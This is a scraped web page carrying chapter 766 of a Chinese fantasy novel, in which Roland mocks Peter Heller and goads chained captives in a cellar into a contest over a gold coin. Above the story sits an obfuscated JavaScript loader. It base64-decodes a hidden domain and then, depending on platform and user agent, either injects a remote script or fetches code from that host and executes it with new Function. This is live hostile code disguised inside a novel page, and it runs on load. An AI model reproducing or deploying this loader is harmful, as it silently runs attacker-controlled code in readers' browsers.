妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第766章 Ch765 古怪的彼得赫勒与胆量(加)(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

“罪行?”彼得·赫勒嗤笑:“万物平等,只是有些人比其他生灵更加平等——他们是首生子女,柯林斯,看看你周围。”

彼得·赫勒说,「兽群」之路的每一环都能契约一名动物伙伴。

通过饲养后拆解、吞服它们的尸体,能够让血肉发生不可逆转的畸变,从而在一定程度上掌握该野兽的部分力量——

这能力的名字叫「动物伙伴」。

“看来我们对伙伴的定义不大一样。”罗兰不想再听彼得·赫勒的‘牢骚’——在他看来,这位老绅士完全符合刀刃评价费南德斯的话:

胆小鬼。

而无论「刺客」或「铁骑」,也的确需要‘怯懦’、‘软弱’与‘恐惧’作为资质。

这是一段非常无聊的牢骚。

开头壮阔,中间平淡,末尾令人失望。他能坚持听完是出于对赫勒先生的尊重——换成萝丝恐怕早就要骂脏话了。

“这些活货该怎么办?”

“济贫院。”

最⊥新⊥小⊥说⊥在⊥六⊥9⊥⊥书⊥⊥吧⊥⊥首⊥发!

彼得·赫勒说。

“他们只能去济贫院。”

他转过来,面朝罗兰,那张温和中藏着一抹极其隐蔽的不自然:“柯林斯,我知道你想说什么。我们只是刀剑,救不了这些人。”

罗兰耸耸肩:“我没有想救任何人,赫勒先生。只是我听了您的长篇演讲,还以为您会为了良心,领养几个——我是不是不该这么说?”

彼得·赫勒看着罗兰,失望地摇了摇头。

“那不是根本,柯林斯。领养一百个,也无法消除心中的痛苦与困惑——根源并不在于我。”

“准确说,是‘您’心中的痛苦与困惑——我和仙德尔应该没有这种困惑,”罗兰拍了拍手,又从兜里摸出一闪亮亮的硬币,举在光下,声音清脆响亮:“你们应该知道这是什么。”

“一枚金镑。”

“能够让你们吃饱穿暖的小可爱。”

“想要吗?”

窸窸窣窣的爬行声。

他举着那枚金镑,眼墙边依次绕行,路过时,随手将一根根铁链扯断。

“你在干什么?”

彼得·赫勒蹙眉。

罗兰不理他,把拳头顶在腰间,另一只举着硬币,一蹦一跳,滑稽的绕着地窖来回跑了好几圈——让所有黑暗中的眼睛看清他手里的东西。

“金镑,你们知道一杯咖啡的价钱吗?一块面包,一小条腌肉?”

“这枚金镑能让你们东躲西藏地享用一个月,或者,出门后人头落地——所以…”

他朝四周招招手,让那些扯动链条的老鼠们吱叫着向前…

再向前。

马戏开场时,要张开双臂,声音洪亮!

“赌运气的时候到了!女士先生们!”

“比比谁能活下来?”

“一场关乎命运的竞赛!”

每一只野心勃勃的老鼠都渴望实现自己的野心——

活下去。

而那金眼男人手中同样闪亮的硬币,就是能够实现他们野心的重要关节了…

“推倒诺提金灯并不重要,问题根源也不重要,”罗兰向两端扯开嘴角,在昏头转向的烛火中,彼得·赫勒似乎窥见了两排择人而噬的鲨齿:“让该体面的没法体面,混乱才有意思…赫勒先生。”

“让我给您壮壮胆量吧。”

叮——

硬币弹了起来。

比起仰头注视更远大的理想,茶话会的邪教徒们更喜欢立刻搞出乱子来。

(本章完)

', '>')

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间